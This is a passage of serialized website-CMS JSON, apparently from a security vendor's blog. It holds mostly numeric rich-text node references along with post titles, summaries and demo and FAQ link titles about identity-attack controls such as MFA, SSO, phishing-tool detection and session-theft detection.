Type":866},{},[187227,187230,187236],{"data":187228,"marks":187229,"value":1449,"nodeType":865},{},[],{"data":187231,"content":187232,"nodeType":889},{"uri":13054},[187233],{"data":187234,"marks":187235,"value":181377,"nodeType":865},{},[],{"data":187237,"marks":187238,"value":181381,"nodeType":865},{},[],{"data":187240,"content":187241,"nodeType":866},{},[187242],{"data":187243,"marks":187244,"value":181388,"nodeType":865},{},[],{"data":187246,"content":187247,"nodeType":866},{},[187248],{"data":187249,"marks":187250,"value":181395,"nodeType":865},{},[],{"data":187252,"content":187253,"nodeType":866},{},[187254,187257,187263],{"data":187255,"marks":187256,"value":181402,"nodeType":865},{},[],{"data":187258,"content":187259,"nodeType":889},{"uri":169364},[187260],{"data":187261,"marks":187262,"value":181409,"nodeType":865},{},[],{"data":187264,"marks":187265,"value":21,"nodeType":865},{},[],{"data":187267,"content":187268,"nodeType":866},{},[187269],{"data":187270,"marks":187271,"value":181419,"nodeType":865},{},[],{"data":187273,"content":187274,"nodeType":981},{},[187275],{"data":187276,"marks":187277,"value":181426,"nodeType":865},{},[],{"data":187279,"content":187280,"nodeType":866},{},[187281],{"data":187282,"marks":187283,"value":181433,"nodeType":865},{},[],{"data":187285,"content":187286,"nodeType":1616},{},[187287,187296,187305],{"data":187288,"content":187289,"nodeType":1570},{},[187290],{"data":187291,"content":187292,"nodeType":866},{},[187293],{"data":187294,"marks":187295,"value":181446,"nodeType":865},{},[],{"data":187297,"content":187298,"nodeType":1570},{},[187299],{"data":187300,"content":187301,"nodeType":866},{},[187302],{"data":187303,"marks":187304,"value":181456,"nodeType":865},{},[],{"data":187306,"content":187307,"nodeType":1570},{},[187308],{"data":187309,"content":187310,"nodeType":866},{},[187311],{"data":187312,"marks":187313,"value":181466,"nodeType":865},{},[],{"data":187315,"content":187316,"nodeType":866},{},[187317],{"data":187318,"marks":187319,"value":181473,"nodeType":865},{},[],{"data":187321,"content":187322,"nodeType":866},{},[187323,187326,187333],{"data":187324,"marks":187325,"value":181480,"nodeType":865},{},[],{"data":187327,"content":187328,"nodeType":889},{"uri":181483},[187329],{"data":187330,"marks":187331,"value":181489,"nodeType":865},{},[187332],{"type":943},{"data":187334,"marks":187335,"value":21,"nodeType":865},{},[],{"data":187337,"content":187338,"nodeType":866},{},[187339,187342,187348],{"data":187340,"marks":187341,"value":181499,"nodeType":865},{},[],{"data":187343,"content":187344,"nodeType":889},{"uri":134276},[187345],{"data":187346,"marks":187347,"value":181506,"nodeType":865},{},[],{"data":187349,"marks":187350,"value":6719,"nodeType":865},{},[],{"data":187352,"content":187355,"nodeType":912},{"target":187353},{"sys":187354},{"id":181514,"type":909,"linkType":910},[],{"data":187357,"content":187358,"nodeType":866},{},[187359],{"data":187360,"marks":187361,"value":21,"nodeType":865},{},[],{"items":187363},[187364,187366],{"sys":187365,"name":7796},{"id":7795},{"sys":187367,"name":342},{"id":4642},{"items":187369},[187370],{"fullName":7800,"firstName":7801,"jobTitle":7802,"profilePicture":187371},{"url":7804},"5-reasons-why-push-security-shouldnt-exist","blog/5-reasons-why-push-security-shouldnt-exist",{"json":187375},{"data":187376,"content":187377,"nodeType":1382},{},[187378,187385],{"data":187379,"content":187380,"nodeType":866},{},[187381],{"data":187382,"marks":187383,"value":187384,"nodeType":865},{},[],"If current security controls worked perfectly, Push wouldn't need to exist – unfortunately, they don't, so here we are!",{"data":187386,"content":187387,"nodeType":866},{},[187388],{"data":187389,"marks":187390,"value":187391,"nodeType":865},{},[],"In this article, we break down common misconceptions about identity controls like MFA, SSO, passkeys, and password managers, exploring some of the gaps they leave and how to fill them to achieve defense in depth.","Breaking down common misconceptions about identity threats and controls like MFA, SSO, passkeys, password managers, and more.",{"id":187394,"publishedAt":187395},"1fp5aOCIcGHDbdQ0amCYOf","2026-08-12T11:55:11.772Z",{"items":187397},[187398,187400],{"sys":187399,"name":342},{"id":4642},{"sys":187401,"name":297},{"id":2310},{"items":187403},[187404,187406,187408,187410,187412,187414,187416,187418,187420,187422,187424,187426,187428,187430,187432,187434,187436,187438,187440,187442,187444,187446],{"sys":187405,"name":413,"slug":414,"tier":31},{"id":410},{"sys":187407,"name":297,"slug":298,"tier":31},{"id":294},{"sys":187409,"name":279,"slug":280,"tier":31},{"id":276},{"sys":187411,"name":519,"slug":520,"tier":31},{"id":516},{"sys":187413,"name":545,"slug":546,"tier":31},{"id":542},{"sys":187415,"name":342,"slug":343,"tier":31},{"id":339},{"sys":187417,"name":395,"slug":396,"tier":45},{"id":392},{"sys":187419,"name":457,"slug":458,"tier":45},{"id":454},{"sys":187421,"name":466,"slug":467,"tier":45},{"id":463},{"sys":187423,"name":333,"slug":334,"tier":45},{"id":330},{"sys":187425,"name":589,"slug":590,"tier":45},{"id":586},{"sys":187427,"name":261,"slug":262,"tier":45},{"id":258},{"sys":187429,"name":571,"slug":572,"tier":45},{"id":568},{"sys":187431,"name":422,"slug":423,"tier":45},{"id":419},{"sys":187433,"name":502,"slug":503,"tier":45},{"id":499},{"sys":187435,"name":493,"slug":494,"tier":45},{"id":490},{"sys":187437,"name":404,"slug":405,"tier":45},{"id":401},{"sys":187439,"name":377,"slug":378,"tier":45},{"id":374},{"sys":187441,"name":624,"slug":625,"tier":45},{"id":621},{"sys":187443,"name":306,"slug":307,"tier":45},{"id":303},{"sys":187445,"name":598,"slug":599,"tier":45},{"id":595},{"sys":187447,"name":475,"slug":476,"tier":45},{"id":472},"7ekz7o6jH_LJs1GGrGDh2SvoDhuQmK1UIytQMiVACOw",{"id":187450,"title":171810,"authorsCollection":187451,"content":187455,"extension":228,"faqItemsCollection":188205,"faqTitle":59,"featured":6,"hashTags":59,"meta":188207,"metaTitle":188208,"ogImage":59,"postType":87741,"publishedDate":171812,"relatedBlogPostsCollection":188209,"slug":171813,"stem":189969,"subtitle":59,"summary":189970,"synopsis":171811,"sys":189981,"tagsCollection":189983,"topicsCollection":189989,"__hash__":190015},"blog/blog/introducing-set-and-forget-controls-that-stop-real-world-identity-attacks.json",{"items":187452},[187453],{"fullName":6500,"firstName":6501,"jobTitle":4616,"socialLinks":59,"profilePicture":187454},{"url":6503},{"json":187456,"links":188132},{"data":187457,"content":187458,"nodeType":1382},{},[187459,187464,187470,187512,187518,187524,187537,187543,187549,187618,187624,187629,187635,187641,187654,187660,187666,187686,187706,187711,187728,187734,187740,187767,187773,187779,187784,187801,187807,187813,187819,187825,187830,187847,187853,187859,187865,187871,187876,187893,187899,187905,187910,187927,187933,187939,187945,187987,187993,188054,188067,188072,188078,188084,188090,188096,188111,188117],{"data":187460,"content":187463,"nodeType":912},{"target":187461},{"sys":187462},{"id":171056,"type":909,"linkType":910},[],{"data":187465,"content":187466,"nodeType":866},{},[187467],{"data":187468,"marks":187469,"value":171064,"nodeType":865},{},[],{"data":187471,"content":187472,"nodeType":866},{},[187473,187476,187482,187485,187491,187494,187500,187503,187509],{"data":187474,"marks":187475,"value":171071,"nodeType":865},{},[],{"data":187477,"content":187478,"nodeType":889},{"uri":171074},[187479],{"data":187480,"marks":187481,"value":171079,"nodeType":865},{},[],{"data":187483,"marks":187484,"value":2688,"nodeType":865},{},[],{"data":187486,"content":187487,"nodeType":889},{"uri":171085},[187488],{"data":187489,"marks":187490,"value":171090,"nodeType":865},{},[],{"data":187492,"marks":187493,"value":2688,"nodeType":865},{},[],{"data":187495,"content":187496,"nodeType":889},{"uri":1063},[187497],{"data":187498,"marks":187499,"value":171100,"nodeType":865},{},[],{"data":187501,"marks":187502,"value":2688,"nodeType":865},{},[],{"data":187504,"content":187505,"nodeType":889},{"uri":171106},[187506],{"data":187507,"marks":187508,"value":171111,"nodeType":865},{},[],{"data":187510,"marks":187511,"value":171115,"nodeType":865},{},[],{"data":187513,"content":187514,"nodeType":866},{},[187515],{"data":187516,"marks":187517,"value":171122,"nodeType":865},{},[],{"data":187519,"content":187520,"nodeType":866},{},[187521],{"data":187522,"marks":187523,"value":171129,"nodeType":865},{},[],{"data":187525,"content":187526,"nodeType":866},{},[187527,187530,187534],{"data":187528,"marks":187529,"value":171136,"nodeType":865},{},[],{"data":187531,"marks":187532,"value":171141,"nodeType":865},{},[187533],{"type":926},{"data":187535,"marks":187536,"value":1615,"nodeType":865},{},[],{"data":187538,"content":187539,"nodeType":866},{},[187540],{"data":187541,"marks":187542,"value":171151,"nodeType":865},{},[],{"data":187544,"content":187545,"nodeType":866},{},[187546],{"data":187547,"marks":187548,"value":171158,"nodeType":865},{},[],{"data":187550,"content":187551,"nodeType":1616},{},[187552,187577],{"data":187553,"content":187554,"nodeType":1570},{},[187555],{"data":187556,"content":187557,"nodeType":866},{},[187558,187562,187565,187574],{"data":187559,"marks":187560,"value":171172,"nodeType":865},{},[187561],{"type":926},{"data":187563,"marks":187564,"value":171176,"nodeType":865},{},[],{"data":187566,"content":187569,"nodeType":33606},{"target":187567},{"sys":187568},{"id":171181,"type":909,"linkType":910},[187570],{"data":187571,"marks":187572,"value":136538,"nodeType":865},{},[187573],{"type":926},{"data":187575,"marks":187576,"value":171190,"nodeType":865},{},[],{"data":187578,"content":187579,"nodeType":1570},{},[187580],{"data":187581,"content":187582,"nodeType":866},{},[187583,187587,187590,187596,187599,187605,187608,187615],{"data":187584,"marks":187585,"value":171201,"nodeType":865},{},[187586],{"type":926},{"data":187588,"marks":187589,"value":171205,"nodeType":865},{},[],{"data":187591,"content":187592,"nodeType":889},{"uri":168173},[187593],{"data":187594,"marks":187595,"value":171212,"nodeType":865},{},[],{"data":187597,"marks":187598,"value":2717,"nodeType":865},{},[],{"data":187600,"content":187601,"nodeType":889},{"uri":126491},[187602],{"data":187603,"marks":187604,"value":171222,"nodeType":865},{},[],{"data":187606,"marks":187607,"value":171226,"nodeType":865},{},[],{"data":187609,"content":187610,"nodeType":889},{"uri":171229},[187611],{"data":187612,"marks":187613,"value":58511,"nodeType":865},{},[187614],{"type":926},{"data":187616,"marks":187617,"value":171238,"nodeType":865},{},[],{"data":187619,"content":187620,"nodeType":866},{},[187621],{"data":187622,"marks":187623,"value":171245,"nodeType":865},{},[],{"data":187625,"content":187628,"nodeType":912},{"target":187626},{"sys":187627},{"id":161934,"type":909,"linkType":910},[],{"data":187630,"content":187631,"nodeType":981},{},[187632],{"data":187633,"marks":187634,"value":171257,"nodeType":865},{},[],{"data":187636,"content":187637,"nodeType":866},{},[187638],{"data":187639,"marks":187640,"value":171264,"nodeType":865},{},[],{"data":187642,"content":187643,"nodeType":866},{},[187644,187647,187651],{"data":187645,"marks":187646,"value":171271,"nodeType":865},{},[],{"data":187648,"marks":187649,"value":136538,"nodeType":865},{},[187650],{"type":926},{"data":187652,"marks":187653,"value":171279,"nodeType":865},{},[],{"data":187655,"content":187656,"nodeType":866},{},[187657],{"data":187658,"marks":187659,"value":171286,"nodeType":865},{},[],{"data":187661,"content":187662,"nodeType":1317},{},[187663],{"data":187664,"marks":187665,"value":79859,"nodeType":865},{},[],{"data":187667,"content":187668,"nodeType":866},{},[187669,187672,187676,187679,187683],{"data":187670,"marks":187671,"value":171299,"nodeType":865},{},[],{"data":187673,"marks":187674,"value":171304,"nodeType":865},{},[187675],{"type":926},{"data":187677,"marks":187678,"value":4988,"nodeType":865},{},[],{"data":187680,"marks":187681,"value":171312,"nodeType":865},{},[187682],{"type":926},{"data":187684,"marks":187685,"value":1615,"nodeType":865},{},[],{"data":187687,"content":187688,"nodeType":866},{},[187689,187692,187696,187699,187703],{"data":187690,"marks":187691,"value":171322,"nodeType":865},{},[],{"data":187693,"marks":187694,"value":58533,"nodeType":865},{},[187695],{"type":926},{"data":187697,"marks":187698,"value":53880,"nodeType":865},{},[],{"data":187700,"marks":187701,"value":58541,"nodeType":865},{},[187702],{"type":926},{"data":187704,"marks":187705,"value":171337,"nodeType":865},{},[],{"data":187707,"content":187710,"nodeType":912},{"target":187708},{"sys":187709},{"id":155838,"type":909,"linkType":910},[],{"data":187712,"content":187713,"nodeType":866},{},[187714,187717,187725],{"data":187715,"marks":187716,"value":171349,"nodeType":865},{},[],{"data":187718,"content":187721,"nodeType":33606},{"target":187719},{"sys":187720},{"id":57941,"type":909,"linkType":910},[187722],{"data":187723,"marks":187724,"value":171358,"nodeType":865},{},[],{"data":187726,"marks":187727,"value":21,"nodeType":865},{},[],{"data":187729,"content":187730,"nodeType":1317},{},[187731],{"data":187732,"marks":187733,"value":131656,"nodeType":865},{},[],{"data":187735,"content":187736,"nodeType":866},{},[187737],{"data":187738,"marks":187739,"value":171374,"nodeType":865},{},[],{"data":187741,"content":187742,"nodeType":866},{},[187743,187746,187750,187753,187757,187760,187764],{"data":187744,"marks":187745,"value":171381,"nodeType":865},{},[],{"data":187747,"marks":187748,"value":58533,"nodeType":865},{},[187749],{"type":926},{"data":187751,"marks":187752,"value":53880,"nodeType":865},{},[],{"data":187754,"marks":187755,"value":58541,"nodeType":865},{},[187756],{"type":926},{"data":187758,"marks":187759,"value":171396,"nodeType":865},{},[],{"data":187761,"marks":187762,"value":58494,"nodeType":865},{},[187763],{"type":926},{"data":187765,"marks":187766,"value":171404,"nodeType":865},{},[],{"data":187768,"content":187769,"nodeType":866},{},[187770],{"data":187771,"marks":187772,"value":171411,"nodeType":865},{},[],{"data":187774,"content":187775,"nodeType":866},{},[187776],{"data":187777,"marks":187778,"value":171418,"nodeType":865},{},[],{"data":187780,"content":187783,"nodeType":912},{"target":187781},{"sys":187782},{"id":171423,"type":909,"linkType":910},[],{"data":187785,"content":187786,"nodeType":866},{},[187787,187790,187798],{"data":187788,"marks":187789,"value":171349,"nodeType":865},{},[],{"data":187791,"content":187794,"nodeType":33606},{"target":187792},{"sys":187793},{"id":58195,"type":909,"linkType":910},[187795],{"data":187796,"marks":187797,"value":131656,"nodeType":865},{},[],{"data":187799,"marks":187800,"value":21,"nodeType":865},{},[],{"data":187802,"content":187803,"nodeType":1317},{},[187804],{"data":187805,"marks":187806,"value":156676,"nodeType":865},{},[],{"data":187808,"content":187809,"nodeType":866},{},[187810],{"data":187811,"marks":187812,"value":171454,"nodeType":865},{},[],{"data":187814,"content":187815,"nodeType":866},{},[187816],{"data":187817,"marks":187818,"value":171461,"nodeType":865},{},[],{"data":187820,"content":187821,"nodeType":866},{},[187822],{"data":187823,"marks":187824,"value":171468,"nodeType":865},{},[],{"data":187826,"content":187829,"nodeType":912},{"target":187827},{"sys":187828},{"id":171473,"type":909,"linkType":910},[],{"data":187831,"content":187832,"nodeType":866},{},[187833,187836,187844],{"data":187834,"marks":187835,"value":171349,"nodeType":865},{},[],{"data":187837,"content":187840,"nodeType":33606},{"target":187838},{"sys":187839},{"id":171485,"type":909,"linkType":910},[187841],{"data":187842,"marks":187843,"value":156676,"nodeType":865},{},[],{"data":187845,"marks":187846,"value":21,"nodeType":865},{},[],{"data":187848,"content":187849,"nodeType":1317},{},[187850],{"data":187851,"marks":187852,"value":171499,"nodeType":865},{},[],{"data":187854,"content":187855,"nodeType":866},{},[187856],{"data":187857,"marks":187858,"value":171506,"nodeType":865},{},[],{"data":187860,"content":187861,"nodeType":866},{},[187862],{"data":187863,"marks":187864,"value":171513,"nodeType":865},{},[],{"data":187866,"content":187867,"nodeType":866},{},[187868],{"data":187869,"marks":187870,"value":171520,"nodeType":865},{},[],{"data":187872,"content":187875,"nodeType":912},{"target":187873},{"sys":187874},{"id":171525,"type":909,"linkType":910},[],{"data":187877,"content":187878,"nodeType":866},{},[187879,187882,187890],{"data":187880,"marks":187881,"value":171349,"nodeType":865},{},[],{"data":187883,"content":187886,"nodeType":33606},{"target":187884},{"sys":187885},{"id":126746,"type":909,"linkType":910},[187887],{"data":187888,"marks":187889,"value":126752,"nodeType":865},{},[],{"data":187891,"marks":187892,"value":21,"nodeType":865},{},[],{"data":187894,"content":187895,"nodeType":1317},{},[187896],{"data":187897,"marks":187898,"value":58424,"nodeType":865},{},[],{"data":187900,"content":187901,"nodeType":866},{},[187902],{"data":187903,"marks":187904,"value":171556,"nodeType":865},{},[],{"data":187906,"content":187909,"nodeType":912},{"target":187907},{"sys":187908},{"id":171561,"type":909,"linkType":910},[],{"data":187911,"content":187912,"nodeType":866},{},[187913,187916,187924],{"data":187914,"marks":187915,"value":171349,"nodeType":865},{},[],{"data":187917,"content":187920,"nodeType":33606},{"target":187918},{"sys":187919},{"id":58256,"type":909,"linkType":910},[187921],{"data":187922,"marks":187923,"value":132450,"nodeType":865},{},[],{"data":187925,"marks":187926,"value":21,"nodeType":865},{},[],{"data":187928,"content":187929,"nodeType":981},{},[187930],{"data":187931,"marks":187932,"value":171586,"nodeType":865},{},[],{"data":187934,"content":187935,"nodeType":866},{},[187936],{"data":187937,"marks":187938,"value":171593,"nodeType":865},{},[],{"data":187940,"content":187941,"nodeType":866},{},[187942],{"data":187943,"marks":187944,"value":171600,"nodeType":865},{},[],{"data":187946,"content":187947,"nodeType":1616},{},[187948,187961,187974],{"data":187949,"content":187950,"nodeType":1570},{},[187951],{"data":187952,"content":187953,"nodeType":866},{},[187954,187958],{"data":187955,"marks":187956,"value":156987,"nodeType":865},{},[187957],{"type":926},{"data":187959,"marks":187960,"value":156991,"nodeType":865},{},[],{"data":187962,"content":187963,"nodeType":1570},{},[187964],{"data":187965,"content":187966,"nodeType":866},{},[187967,187971],{"data":187968,"marks":187969,"value":157002,"nodeType":865},{},[187970],{"type":926},{"data":187972,"marks":187973,"value":157006,"nodeType":865},{},[],{"data":187975,"content":187976,"nodeType":1570},{},[187977],{"data":187978,"content":187979,"nodeType":866},{},[187980,187984],{"data":187981,"marks":187982,"value":157017,"nodeType":865},{},[187983],{"type":926},{"data":187985,"marks":187986,"value":157021,"nodeType":865},{},[],{"data":187988,"content":187989,"nodeType":866},{},[187990],{"data":187991,"marks":187992,"value":171649,"nodeType":865},{},[],{"data":187994,"content":187995,"nodeType":1616},{},[187996,188012,188028,188041],{"data":187997,"content":187998,"nodeType":1570},{},[187999],{"data":188000,"content":188001,"nodeType":866},{},[188002,188005,188009],{"data":188003,"marks":188004,"value":171662,"nodeType":865},{},[],{"data":188006,"marks":188007,"value":171667,"nodeType":865},{},[188008],{"type":926},{"data":188010,"marks":188011,"value":157055,"nodeType":865},{},[],{"data":188013,"content":188014,"nodeType":1570},{},[188015],{"data":188016,"content":188017,"nodeType":866},{},[188018,188021,188025],{"data":188019,"marks":188020,"value":171680,"nodeType":865},{},[],{"data":188022,"marks":188023,"value":171685,"nodeType":865},{},[188024],{"type":926},{"data":188026,"marks":188027,"value":171689,"nodeType":865},{},[],{"data":188029,"content":188030,"nodeType":1570},{},[188031],{"data":188032,"content":188033,"nodeType":866},{},[188034,188038],{"data":188035,"marks":188036,"value":171700,"nodeType":865},{},[188037],{"type":926},{"data":188039,"marks":188040,"value":171704,"nodeType":865},{},[],{"data":188042,"content":188043,"nodeType":1570},{},[188044],{"data":188045,"content":188046,"nodeType":866},{},[188047,188051],{"data":188048,"marks":188049,"value":171715,"nodeType":865},{},[188050],{"type":926},{"data":188052,"marks":188053,"value":171719,"nodeType":865},{},[],{"data":188055,"content":188056,"nodeType":866},{},[188057,188060,188064],{"data":188058,"marks":188059,"value":171726,"nodeType":865},{},[],{"data":188061,"marks":188062,"value":58511,"nodeType":865},{},[188063],{"type":926},{"data":188065,"marks":188066,"value":171734,"nodeType":865},{},[],{"data":188068,"content":188071,"nodeType":912},{"target":188069},{"sys":188070},{"id":171739,"type":909,"linkType":910},[],{"data":188073,"content":188074,"nodeType":866},{},[188075],{"data":188076,"marks":188077,"value":171747,"nodeType":865},{},[],{"data":188079,"content":188080,"nodeType":981},{},[188081],{"data":188082,"marks":188083,"value":171754,"nodeType":865},{},[],{"data":188085,"content":188086,"nodeType":866},{},[188087],{"data":188088,"marks":188089,"value":171761,"nodeType":865},{},[],{"data":188091,"content":188092,"nodeType":866},{},[188093],{"data":188094,"marks":188095,"value":171768,"nodeType":865},{},[],{"data":188097,"content":188098,"nodeType":866},{},[188099,188102,188108],{"data":188100,"marks":188101,"value":171775,"nodeType":865},{},[],{"data":188103,"content":188104,"nodeType":889},{"uri":126491},[188105],{"data":188106,"marks":188107,"value":171782,"nodeType":865},{},[],{"data":188109,"marks":188110,"value":171786,"nodeType":865},{},[],{"data":188112,"content":188113,"nodeType":981},{},[188114],{"data":188115,"marks":188116,"value":113824,"nodeType":865},{},[],{"data":188118,"content":188119,"nodeType":866},{},[188120,188123,188129],{"data":188121,"marks":188122,"value":171799,"nodeType":865},{},[],{"data":188124,"content":188125,"nodeType":889},{"uri":126947},[188126],{"data":188127,"marks":188128,"value":14066,"nodeType":865},{},[],{"data":188130,"marks":188131,"value":171809,"nodeType":865},{},[],{"entries":188133},{"inline":188134,"hyperlink":188135,"block":188164},[],[188136,188142,188147,188149,188154,188159],{"sys":188137,"__typename":188138,"linkedFromParent":59,"title":188139,"slug":188140,"audience":188141},{"id":171181},"DocumentationPage","Manage security controls","manage-security-controls","administrators",{"sys":188143,"__typename":87613,"title":188144,"slug":188145,"articleId":188146},{"id":57941},"Can I use Push to detect phishing tools like Evilginx, Modlishka, NakedPages, or Muraena?","can-i-use-push-to-detect-phishing-tools-like-evilnovnc-and-evilginx",10113,{"sys":188148,"__typename":87613,"title":87639,"slug":87640,"articleId":87641},{"id":58195},{"sys":188150,"__typename":87613,"title":188151,"slug":188152,"articleId":188153},{"id":171485},"Can Push block users from visiting websites?","can-push-block-users-from-visiting-websites",10112,{"sys":188155,"__typename":87613,"title":188156,"slug":188157,"articleId":188158},{"id":126746},"How does Push help detect session token theft?","how-does-push-help-detect-session-token-theft",10114,{"sys":188160,"__typename":87613,"title":188161,"slug":188162,"articleId":188163},{"id":58256},"What can I use the app banner for? Templates and examples","what-can-i-use-the-app-banner-for-templates-and-examples",10106,[188165,188173,188177,188182,188186,188190,188194,188198],{"sys":188166,"__typename":131392,"title":188167,"youTubeUrl":188168,"imagePlaceholder":188169},{"id":171056},"Introducing the Push set-and-forget controls page and events feed","https://www.youtube.com/watch?v=rdbEjLtHVeI",{"url":188170,"width":188171,"height":188172},"https://images.ctfassets.net/y1cdw1ablpvd/3erssFxQsawGjQYO1OgpaY/6dce14e1031c59a31c16fc3a4aef7052/Screenshot_2024-08-15_at_07.18.14.png",3330,1866,{"sys":188174,"__typename":1414,"type":160850,"ctaText":188175,"buttonLabel":188176,"buttonColour":1418,"buttonUrl":59},{"id":161934},"Learn how Push can help you secure identities across your org","Book a demo!",{"sys":188178,"__typename":52243,"title":188179,"arcadeDemoUrl":188180,"playText":188181},{"id":155838},"Phishing tool detection demo","https://demo.arcade.software/56g5alxkmegzjvQnZxrC?embed","1 min",{"sys":188183,"__typename":52243,"title":188184,"arcadeDemoUrl":188185,"playText":59377},{"id":171423},"SSO password protection demo","https://demo.arcade.software/tydMEka88g65V2KMU018?embed",{"sys":188187,"__typename":52243,"title":188188,"arcadeDemoUrl":188189,"playText":59377},{"id":171473},"URL blocking demo","https://demo.arcade.software/A6pdxTOHjVl2BaPJ98Vj?embed",{"sys":188191,"__typename":52243,"title":188192,"arcadeDemoUrl":188193,"playText":59377},{"id":171525},"Session theft detection demo","https://demo.arcade.software/ALltBFZnFbBmVFUgx7z5?embed",{"sys":188195,"__typename":52243,"title":188196,"arcadeDemoUrl":188197,"playText":59377},{"id":171561},"App banners demo","https://demo.arcade.software/TlBO2p8454bN4szY4Jxq?embed",{"sys":188199,"__typename":1390,"title":188200,"caption":59,"layoutMode":59,"file":188201},{"id":171739},"Events page - event details - docs - Connect to SIEM or SOAR",{"url":188202,"width":188203,"height":188204},"https://images.ctfassets.net/y1cdw1ablpvd/l6JvepRcU8ZCviZaSWM4T/2b0288c3080c3aa0040de13d73f4c782/events_page_filtered_20260305.png",3016,1726,{"items":188206},[],{},"Stop identity attacks with Push's security controls",{"items":188210},[188211,188648,189480],{"__typename":1429,"sys":188212,"content":188213,"title":180693,"synopsis":180694,"hashTags":59,"publishedDate":126975,"slug":180695,"tagsCollection":188638,"authorsCollection":188644},{"id":126710},{"json":188214},{"data":188215,"content":188216,"nodeType":1382},{},[188217,188222,188228,188258,188264,188280,188286,188322,188328,188334,188340,188345,188351,188429,188435,188441,188462,188468,188474,188480,188486,188492,188498,188542,188548,188553,188569,188574,188580,188586,188592,188598,188604,188610,188616,188622],{"data":188218,"content":188221,"nodeType":912},{"target":188219},{"sys":188220},{"id":180218,"type":909,"linkType":910},[],{"data":188223,"content":188224,"nodeType":866},{},[188225],{"data":188226,"marks":188227,"value":180226,"nodeType":865},{},[],{"data":188229,"content":188230,"nodeType":1616},{},[188231,188240,188249],{"data":188232,"content":188233,"nodeType":1570},{},[188234],{"data":188235,"content":188236,"nodeType":866},{},[188237],{"data":188238,"marks":188239,"value":180239,"nodeType":865},{},[],{"data":188241,"content":188242,"nodeType":1570},{},[188243],{"data":188244,"content":188245,"nodeType":866},{},[188246],{"data":188247,"marks":188248,"value":180249,"nodeType":865},{},[],{"data":188250,"content":188251,"nodeType":1570},{},[188252],{"data":188253,"content":188254,"nodeType":866},{},[188255],{"data":188256,"marks":188257,"value":180259,"nodeType":865},{},[],{"data":188259,"content":188260,"nodeType":866},{},[188261],{"data":188262,"marks":188263,"value":180266,"nodeType":865},{},[],{"data":188265,"content":188266,"nodeType":866},{},[188267,188270,188277],{"data":188268,"marks":188269,"value":180273,"nodeType":865},{},[],{"data":188271,"content":188272,"nodeType":889},{"uri":180276},[188273],{"data":188274,"marks":188275,"value":132143,"nodeType":865},{},[188276],{"type":943},{"data":188278,"marks":188279,"value":180285,"nodeType":865},{},[],{"data":188281,"content":188282,"nodeType":981},{},[188283],{"data":188284,"marks":188285,"value":180292,"nodeType":865},{},[],{"data":188287,"content":188288,"nodeType":866},{},[188289,188292,188299,188302,188309,188312,188319],{"data":188290,"marks":188291,"value":180299,"nodeType":865},{},[],{"data":188293,"content":188294,"nodeType":889},{"uri":180302},[188295],{"data":188296,"marks":188297,"value":180308,"nodeType":865},{},[188298],{"type":943},{"data":188300,"marks":188301,"value":180312,"nodeType":865},{},[],{"data":188303,"content":188304,"nodeType":889},{"uri":180315},[188305],{"data":188306,"marks":188307,"value":180321,"nodeType":865},{},[188308],{"type":943},{"data":188310,"marks":188311,"value":180325,"nodeType":865},{},[],{"data":188313,"content":188314,"nodeType":889},{"uri":180328},[188315],{"data":188316,"marks":188317,"value":180334,"nodeType":865},{},[188318],{"type":943},{"data":188320,"marks":188321,"value":180338,"nodeType":865},{},[],{"data":188323,"content":188324,"nodeType":866},{},[188325],{"data":188326,"marks":188327,"value":180345,"nodeType":865},{},[],{"data":188329,"content":188330,"nodeType":866},{},[188331],{"data":188332,"marks":188333,"value":180352,"nodeType":865},{},[],{"data":188335,"content":188336,"nodeType":866},{},[188337],{"data":188338,"marks":188339,"value":180359,"nodeType":865},{},[],{"data":188341,"content":188344,"nodeType":912},{"target":188342},{"sys":188343},{"id":168425,"type":909,"linkType":910},[],{"data":188346,"content":188347,"nodeType":866},{},[188348],{"data":188349,"marks":188350,"value":180371,"nodeType":865},{},[],{"data":188352,"content":188353,"nodeType":1616},{},[188354,188373,188392,188411],{"data":188355,"content":188356,"nodeType":1570},{},[188357],{"data":188358,"content":188359,"nodeType":866},{},[188360,188363,188370],{"data":188361,"marks":188362,"value":180384,"nodeType":865},{},[],{"data":188364,"content":188365,"nodeType":889},{"uri":149610},[188366],{"data":188367,"marks":188368,"value":180392,"nodeType":865},{},[188369],{"type":943},{"data":188371,"marks":188372,"value":21,"nodeType":865},{},[],{"data":188374,"content":188375,"nodeType":1570},{},[188376],{"data":188377,"content":188378,"nodeType":866},{},[188379,188382,188389],{"data":188380,"marks":188381,"value":180405,"nodeType":865},{},[],{"data":188383,"content":188384,"nodeType":889},{"uri":180408},[188385],{"data":188386,"marks":188387,"value":180414,"nodeType":865},{},[188388],{"type":943},{"data":188390,"marks":188391,"value":21,"nodeType":865},{},[],{"data":188393,"content":188394,"nodeType":1570},{},[188395],{"data":188396,"content":188397,"nodeType":866},{},[188398,188401,188408],{"data":188399,"marks":188400,"value":180427,"nodeType":865},{},[],{"data":188402,"content":188403,"nodeType":889},{"uri":1063},[188404],{"data":188405,"marks":188406,"value":180435,"nodeType":865},{},[188407],{"type":943},{"data":188409,"marks":188410,"value":21,"nodeType":865},{},[],{"data":188412,"content":188413,"nodeType":1570},{},[188414],{"data":188415,"content":188416,"nodeType":866},{},[188417,188420,188426],{"data":188418,"marks":188419,"value":180448,"nodeType":865},{},[],{"data":188421,"content":188422,"nodeType":889},{"uri":162106},[188423],{"data":188424,"marks":188425,"value":180455,"nodeType":865},{},[],{"data":188427,"marks":188428,"value":21,"nodeType":865},{},[],{"data":188430,"content":188431,"nodeType":981},{},[188432],{"data":188433,"marks":188434,"value":180465,"nodeType":865},{},[],{"data":188436,"content":188437,"nodeType":866},{},[188438],{"data":188439,"marks":188440,"value":180472,"nodeType":865},{},[],{"data":188442,"content":188443,"nodeType":1616},{},[188444,188453],{"data":188445,"content":188446,"nodeType":1570},{},[188447],{"data":188448,"content":188449,"nodeType":866},{},[188450],{"data":188451,"marks":188452,"value":180485,"nodeType":865},{},[],{"data":188454,"content":188455,"nodeType":1570},{},[188456],{"data":188457,"content":188458,"nodeType":866},{},[188459],{"data":188460,"marks":188461,"value":180495,"nodeType":865},{},[],{"data":188463,"content":188464,"nodeType":866},{},[188465],{"data":188466,"marks":188467,"value":180502,"nodeType":865},{},[],{"data":188469,"content":188470,"nodeType":866},{},[188471],{"data":188472,"marks":188473,"value":180509,"nodeType":865},{},[],{"data":188475,"content":188476,"nodeType":981},{},[188477],{"data":188478,"marks":188479,"value":180516,"nodeType":865},{},[],{"data":188481,"content":188482,"nodeType":866},{},[188483],{"data":188484,"marks":188485,"value":180523,"nodeType":865},{},[],{"data":188487,"content":188488,"nodeType":866},{},[188489],{"data":188490,"marks":188491,"value":180530,"nodeType